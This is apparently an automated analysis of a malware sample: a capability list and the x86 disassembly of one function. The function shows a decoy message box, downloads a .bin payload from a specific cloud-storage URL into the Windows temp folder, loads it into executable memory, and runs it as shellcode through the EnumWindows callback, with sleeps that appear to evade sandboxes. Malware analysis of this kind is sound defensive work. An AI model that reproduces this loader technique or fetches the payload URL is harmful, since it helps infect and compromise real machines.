Function at 0x401040
Capabilities:
Allocate or change rwx memory
Create http request
Download and write a file
Enumerate gui resources
Execute shellcode via indirect call
Execute shellcode via windows callback function
Read data from internet
Read file on windows
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x430
mov eax, dword [0x563580]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea eax, [ebp - 0x430]
push eax
mov esi, ecx
mov dword [ebp - 0x430], 8
mov dword [ebp - 0x42c], 0xff
call dword [sym.imp.COMCTL32.dll_InitCommonControlsEx]
mov ecx, esi
call fcn.00403587
push 0
push 0x545848
push 0x545850
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0xbb8
call esi
push 0x545884
push str.Wps2023_1.pdf
call fcn.004f586d
add esp, 8
mov ebx, eax
mov edi, 0x1869f
lea ebx, [ebx]
push 0
call fcn.004f58b7
push eax
call fcn.004f5884
call fcn.004f5896
push ebx
push 1
lea ecx, [ebp - 0x20]
push 0x19
push ecx
mov byte [ebp - 0x1f], al
call fcn.004f5a5f
add esp, 0x18
dec edi
jne 0x4010c0
push 0x258
call esi
push 0x258
call esi
push 0x3c
call esi
push 0x258
call esi
push edi
push edi
push edi
push 1
push str.File_Downloader
call dword [sym.imp.WININET.dll_InternetOpenA]
mov ebx, eax
test ebx, ebx
jne 0x401140
push str.Failed_to_initialize_WinINet_library_n
call fcn.004f5ad9
add esp, 4
push 0x258
call esi
lea eax, [edi + 1]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004f55a2
mov esp, ebp
pop ebp
ret
push 0x3c
call esi
push 0
push 0x84000100
push 0
push 0
push str.https:__www6yye6_1321964398.cos.ap_nanjing.myqcloud.com_6yye6_6.bin
push ebx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov edi, eax
test edi, edi
jne 0x401195
push str.https:__www6yye6_1321964398.cos.ap_nanjing.myqcloud.com_6yye6_6.bin
push str.Failed_to_open_URL__s_n
call fcn.004f5ad9
add esp, 8
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x258
call esi
lea eax, [edi + 1]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004f55a2
mov esp, ebp
pop ebp
ret
push 0x258
call esi
push 0x545948
push str.C:windows_tempClient1.bin
call fcn.004f586d
add esp, 8
push 0x3c
mov ebx, eax
call esi
lea edx, [ebp - 0x428]
push edx
push 0x400
lea eax, [ebp - 0x420]
push eax
push edi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x40120d
mov eax, dword [ebp - 0x428]
test eax, eax
je 0x40120d
push ebx
push eax
lea ecx, [ebp - 0x420]
push 1
push ecx
call fcn.004f5a5f
add esp, 0x10
lea edx, [ebp - 0x428]
push edx
push 0x400
lea eax, [ebp - 0x420]
push eax
push edi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x4011d2
push ebx
call fcn.004f5c03
add esp, 4
push 0x258
call esi
push 0x258
call esi
push 0x54594c
push str.C:windows_tempClient1.bin
call fcn.004f586d
add esp, 8
push 0x3c
mov ebx, eax
call esi
push 2
push 0
push ebx
call fcn.004f5d01
add esp, 0xc
push 0x258
call esi
push ebx
call fcn.004f5f11
add esp, 4
push 0x258
mov edi, eax
call esi
push 0
push 0
push ebx
call fcn.004f5d01
add esp, 0xc
push 0x258
call esi
push edi
call fcn.004f5f76
add esp, 4
push 0x258
mov dword [ebp - 0x424], eax
call esi
mov ecx, dword [ebp - 0x424]
push ebx
push 1
push edi
push ecx
call fcn.004f6254
add esp, 0x10
push 0x258
call esi
push 0x40
push 0x1000
push edi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0x258
mov ebx, eax
call esi
mov edx, dword [ebp - 0x424]
push edi
push edx
push edi
push ebx
call fcn.004f6271
add esp, 0x10
push 0x258
call esi
push 0
push ebx
call dword [sym.imp.USER32.dll_EnumWindows]
push 0x258
call esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.004f55a2
mov esp, ebp
pop ebp
ret